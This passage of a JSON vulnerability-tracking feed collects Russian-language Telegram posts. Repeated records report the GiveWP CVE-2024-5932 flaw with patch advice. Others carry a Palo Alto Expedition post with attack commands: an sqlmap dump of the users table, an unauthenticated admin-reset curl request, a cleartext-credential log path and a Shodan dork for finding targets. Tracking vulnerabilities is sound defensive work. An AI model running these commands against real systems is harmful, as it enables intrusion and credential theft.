\u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 \u0442\u044b\u0441\u044f\u0447 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u2620\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-5932) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 PHP \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 give_title. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 POP-\u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u044d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u26a1\ufe0f \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 give_process_donation_form(), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0439. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.14.2 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #WordPressSecurity #RCEAlert #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:05.137737Z"}, {"uuid": "920910cc-69f7-439d-b2db-18d78d690f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/ZerodayAlert/303", "content": "\u041f\u043b\u0430\u0433\u0438\u043d GiveWP \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043d\u0434\u0440\u0430\u0439\u0437\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439\n\n\ud83d\udd24 \u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 GiveWP \u0434\u043b\u044f WordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 \u0442\u044b\u0441\u044f\u0447 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u2620\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-5932) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 PHP \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 give_title. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 POP-\u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u044d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u26a1\ufe0f \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 give_process_donation_form(), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0439. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.14.2 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #WordPressSecurity #RCEAlert #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:07.440123Z"}, {"uuid": "c6c6546e-8333-499f-a048-c4febeb13d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/ZerodayAlert/303", "content": "\u041f\u043b\u0430\u0433\u0438\u043d GiveWP \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043d\u0434\u0440\u0430\u0439\u0437\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439\n\n\ud83d\udd24 \u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 GiveWP \u0434\u043b\u044f WordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 \u0442\u044b\u0441\u044f\u0447 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u2620\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-5932) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 PHP \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 give_title. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 POP-\u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u044d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u26a1\ufe0f \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 give_process_donation_form(), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0439. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.14.2 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #WordPressSecurity #RCEAlert #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n@ZerodayAlert", "creation_timestamp": "2026-07-11T21:00:03.871944Z"}, {"uuid": "b0700570-b00a-47bd-a2a6-12f9d0c85867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/ZerodayAlert/303", "content": "\u041f\u043b\u0430\u0433\u0438\u043d GiveWP \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043d\u0434\u0440\u0430\u0439\u0437\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439\n\n\ud83d\udd24 \u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 GiveWP \u0434\u043b\u044f WordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 \u0442\u044b\u0441\u044f\u0447 \u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434.\n\n\u2620\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-5932) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 PHP \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 give_title. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 POP-\u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u044d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u26a1\ufe0f \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 give_process_donation_form(), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0439. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.14.2 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #WordPressSecurity #RCEAlert #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T00:00:20.816291Z"}, {"uuid": "b1d8ade8-1e9b-4c25-96ab-93de9bc81cab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/securixy_kz/1019", "content": "\"\u041f\u043e\u043b\u0443\u043f\u0430\u043b\u044c\u0442\u043e\" \u0438\u0445 \u0431\u0438\u043d \u0431\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0432\u0441\u0435\u043c \u0438\u043b\u0438 Palo Alto \u0438\u0437 N-Day \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\n\n[**CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection**](https://github.com/horizon3ai/CVE-2024-9465)\n\n\u0421\u043a\u0443\u043b\u044c\u043c\u0430\u043f\u043e\u043c \u0442\u0430\u0449\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u044e\u0437\u0435\u0440\u043e\u0432:\n\n\npython3 sqlmap.py -u \"https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1\" -p signatureid -T users --dump\n\n\nCVE-2024-5910: \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438\n\n\ncurl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'\n\n\n[**CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit**](https://github.com/horizon3ai/CVE-2024-9464)\n\nCVE-2024-9466: Cleartext Credentials in Logs\n\n/home/userSpace/devices/debug.txt\n\n\u0421\u0435\u0440\u0432\u0435\u0440 Expedition \u0445\u0440\u0430\u043d\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e API-\u043a\u043b\u044e\u0447\u0438 \u0438 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0431\u044b\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u041e\u0431 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e, \u0438 \u0435\u0439 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043d\u043e\u043c\u0435\u0440 CVE-2024-9466.\n\nBlog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/\n\nShodan dork:\n\n\nhtml:\"Expedition Project\"\n\n\nSource: https://t.me/P0x3k/1966", "creation_timestamp": "2026-07-12T22:00:09.810444Z"}, {"uuid": "178fe7b5-ab81-45ab-aaf1-f8fd83ac8153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/securixy_kz/1019", "content": "\"\u041f\u043e\u043b\u0443\u043f\u0430\u043b\u044c\u0442\u043e\" \u0438\u0445 \u0431\u0438\u043d \u0431\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0432\u0441\u0435\u043c \u0438\u043b\u0438 Palo Alto \u0438\u0437 N-Day \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\n\n[**CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection**](https://github.com/horizon3ai/CVE-2024-9465)\n\n\u0421\u043a\u0443\u043b\u044c\u043c\u0430\u043f\u043e\u043c \u0442\u0430\u0449\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u044e\u0437\u0435\u0440\u043e\u0432:\n\n\npython3 sqlmap.py -u \"https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1\" -p signatureid -T users --dump\n\n\nCVE-2024-5910: \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438\n\n\ncurl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'\n\n\n[**CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit**](https://github.com/horizon3ai/CVE-2024-9464)\n\nCVE-2024-9466: Cleartext Credentials in Logs\n\n/home/userSpace/devices/debug.txt\n\n\u0421\u0435\u0440\u0432\u0435\u0440 Expedition \u0445\u0440\u0430\u043d\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e API-\u043a\u043b\u044e\u0447\u0438 \u0438 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0431\u044b\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u041e\u0431 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e, \u0438 \u0435\u0439 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043d\u043e\u043c\u0435\u0440 CVE-2024-9466.\n\nBlog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/\n\nShodan dork:\n\n\nhtml:\"Expedition Project\"\n\n\nSource: https://t.me/P0x3k/1966", "creation_timestamp": "2026-07-13T00:00:34.336913Z"}, {"uuid": "21f5384b-2987-4366-a97f-0a0382a07d5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1019", "content": "\"\u041f\u043e\u043b\u0443\u043f\u0430\u043b\u044c\u0442\u043e\" \u0438\u0445 \u0431\u0438\u043d \u0431\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u043e\u0432\u0441\u0435\u043c \u0438\u043b\u0438 Palo Alto \u0438\u0437 N-Day \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\n\n[**CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection**](https://github.com/horizon3ai/CVE-2024-9465)\n\n\u0421\u043a\u0443\u043b\u044c\u043c\u0430\u043f\u043e\u043c \u0442\u0430\u0449\u0438\u043c 